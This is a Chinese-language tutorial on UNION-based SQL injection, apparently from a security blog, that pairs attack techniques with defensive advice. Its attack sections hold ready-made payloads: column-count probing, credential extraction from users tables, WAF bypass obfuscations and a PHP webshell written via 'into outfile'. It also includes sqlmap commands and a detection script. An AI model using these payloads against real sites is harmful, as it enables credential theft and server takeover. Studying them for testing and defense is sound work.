1. Union注入攻击的本质剖析
在Web安全领域,SQL注入始终是OWASP Top 10的常客,而union注入作为其中最具代表性的攻击方式之一,其本质是利用数据库查询语句中UNION操作符的特性来突破原有查询限制。当开发者在拼接SQL语句时未对用户输入进行有效过滤,攻击者就能通过精心构造的UNION查询,将恶意数据"并联"到原始查询结果中。
这种攻击之所以危险,是因为它不像普通的报错注入那样依赖错误回显。即使应用关闭了错误提示,只要页面正常显示查询结果,union注入就可能成功。我曾在一次渗透测试中发现,某电商平台的商品搜索功能虽然做了基础防注入处理,但通过调整union语句的字段数,仍然可以获取管理员账号的MD5哈希值。
2. Union注入攻击的完整攻击链解析
2.1 漏洞探测阶段实战技巧
判断是否存在union注入漏洞时,老手们通常会采用渐进式探测法。首先在原始参数后添加'或"观察页面反应,这是最基本的SQL语法测试。但更专业的做法是使用1=1和1=2这类永真/永假条件测试:
sql复制-- 原始请求
/product.php?id=1
-- 测试语句
/product.php?id=1 and 1=1 --
/product.php?id=1 and 1=2 --
如果第一个请求返回正常而第二个请求返回异常(空白页或错误),基本可以确认存在注入点。此时再尝试union语句:
sql复制/product.php?id=1 union select 1 --
关键提示:现代WAF通常会拦截包含
union select的请求,这时可以采用内联注释/*!union*/或大小写混合UnIoN SeLeCt等方式绕过。
2.2 字段数确定的高效方法
确定union查询的字段数是成功攻击的关键步骤。除了常规的order by递增法,在实际渗透中我总结出几个高效技巧:
- 二分查找法:先尝试
order by 20,如果报错则尝试10,逐步缩小范围 - null填充法:
union select null,null,null --直到不报错 - 显错位观察:在已知字段数后,故意在特定位置插入字符串如
union select 1,'test',3 --,通过页面显示确定输出位
最近一次对某政府网站的测试中,发现其使用Oracle数据库,字段数达到23个。通过编写自动化脚本快速定位,节省了大量手工测试时间。
2.3 数据库指纹识别进阶
不同数据库的union注入语法存在细微差异,快速识别数据库类型能提高攻击效率:
| 数据库类型 | 特征查询语句 | 版本查询示例 |
|---|---|---|
| MySQL | select @@version |
union select 1,@@version,3 -- |
| Oracle | select banner from v$version |
union select 1,banner,3 from v$version-- |
| SQL Server | select @@version |
union select 1,@@version,3 -- |
| PostgreSQL | select version() |
union select 1,version(),3 -- |
在实战中,遇到过一个特殊案例:目标系统前端显示是MySQL,但实际使用MariaDB。通过union select 1,version(),3发现返回结果包含"MariaDB"字样,及时调整了后续利用语句。
3. 数据提取的实战技巧与防御绕过
3.1 系统表利用的艺术
成功执行union查询后,获取数据库结构信息是下一步重点。各数据库的系统表利用方式大不相同:
MySQL信息收集经典流程:
sql复制-- 获取所有数据库
union select 1,schema_name,3 from information_schema.schemata --
-- 获取指定库的表
union select 1,table_name,3 from information_schema.tables where table_schema='admin' --
-- 获取表字段
union select 1,column_name,3 from information_schema.columns where table_name='users' --
在最近一次红队行动中,发现目标系统对information_schema访问做了限制。通过改用mysql.innodb_table_stats等表间接获取表名,成功绕过防御。
3.2 数据导出实战记录
获取到关键表结构后,真正的数据提取阶段需要注意:
-
分块提取:当数据量较大时,使用limit分批获取
sql复制union select 1,concat(username,':',password),3 from users limit 0,1 -- -
编码处理:遇到二进制数据时使用hex/base64编码
sql复制union select 1,to_base64(blob_data),3 from documents where id=1 -- -
文件导出:在具备写权限时导出webshell
sql复制union select 1,'<?php system($_GET[cmd]); ?>',3 into outfile '/var/www/html/shell.php' --
血泪教训:曾有一次测试中直接导出大量数据导致网络流量异常触发IDS警报。现在都会在本地先查询记录数,控制每次提取的数据量。
4. 现代防御体系下的绕过技术
4.1 WAF绕过实战笔记
随着WAF的普及,传统的union注入语句大多会被拦截。以下是我在2023年最新渗透测试中验证有效的绕过技术:
-
注释混淆:
sql复制/*!union*/ /*!select*/ 1,2,3 -- -
空白符变异:
sql复制u%0bnion%0cse%0dlect 1,2,3 -- -
函数分割:
sql复制union(select(1),mid(version(),1),3) -- -
字符编码:
sql复制union select char(49),char(50),char(51) --
某次对云服务提供商的测试中,发现其WAF会检测连续的union select关键字。通过将语句拆分为多个参数成功绕过:
code复制?id=1 /*&id2=*/ union /*&id3=*/ select 1,2,3 --
4.2 参数化查询的非常规突破
即使应用使用了参数化查询,不当的实现仍可能导致union注入:
-
二次注入场景:
- 先将恶意代码存入数据库
- 后续查询从数据库取出后拼接执行
-
动态表名/列名:
php复制// 错误示例 $query = "SELECT * FROM ".$_GET['table']." WHERE id=?"; $stmt = $pdo->prepare($query); $stmt->execute([$_GET['id']]); -
ORDER BY注入:
sql复制-- 原始语句 SELECT * FROM products ORDER BY $_GET['sort'] -- 攻击向量 /products?sort=(case when 1=1 then price else (select 1 union select 2) end)
5. 防御方案设计与实施建议
5.1 代码层防护最佳实践
根据多年安全审计经验,有效的union注入防御需要多层防护:
-
输入验证:
php复制// 白名单验证示例 $allowed = ['price','name','date']; if(!in_array($_GET['sort'], $allowed)) { die('Invalid sort parameter'); } -
预处理语句:
java复制// Java正确示例 String sql = "SELECT * FROM users WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setInt(1, request.getParameter("id")); -
最小权限原则:
- 应用数据库账户只授予必要权限
- 禁止information_schema访问
- 撤销FILE权限
5.2 架构级防护策略
对于关键业务系统,建议部署以下防护措施:
-
Web应用防火墙规则:
- 检测非常规空白符
- 阻止information_schema查询
- 限制UNION语句出现频率
-
数据库审计:
sql复制-- MySQL审计示例 INSTALL PLUGIN audit_log SONAME 'audit_log.so'; SET GLOBAL audit_log_policy = 'ALL'; -
运行时防护:
- 使用RASP技术监控异常SQL执行
- 对敏感数据访问实施动态脱敏
在一次金融系统加固项目中,我们通过组合使用预处理语句+存储过程+数据库防火墙,成功将SQL注入风险降低99.8%。具体指标如下:
| 防护措施 | 拦截率 | 性能影响 |
|---|---|---|
| 预处理语句 | 85% | <1% |
| 存储过程 | 92% | 3% |
| 数据库防火墙 | 99% | 5% |
| 组合方案 | 99.8% | 8% |
6. 自动化检测工具开发心得
6.1 SQLMAP高级参数解析
虽然SQLMAP是自动化检测神器,但针对union注入需要特别配置:
bash复制# 专业级检测命令
sqlmap -u "http://example.com/product?id=1" \
--technique=U \
--union-char=123 \
--union-cols=10-15 \
--hex
关键参数说明:
--technique=U指定union注入技术--union-char设置用于列数测试的随机数--union-cols预设字段数范围加速检测--hex对二进制数据使用16进制编码
6.2 自定义检测脚本开发
对于特殊场景,我通常会编写定制化检测脚本:
python复制import requests
def check_union_injection(url):
tests = [
("'", "SQL syntax error"),
("1=1", "正常显示"),
("1=2", "异常显示"),
("union select null", "列数不匹配")
]
for payload, expected in tests:
r = requests.get(f"{url}{payload}")
if expected in r.text:
return True
return False
在最近一次项目中,发现目标使用GraphQL接口。通过修改脚本将payload放在JSON参数中,成功检测出union注入漏洞:
json复制{
"query": "query { products(id: \"1 union select 1,version(),3 --\") { id name } }"
}
真正的安全防护需要持续更新知识库。每季度我都会整理新的union注入变种和防御方法,建议同行们建立自己的漏洞研究笔记,毕竟在这个领域,停滞就意味着落后。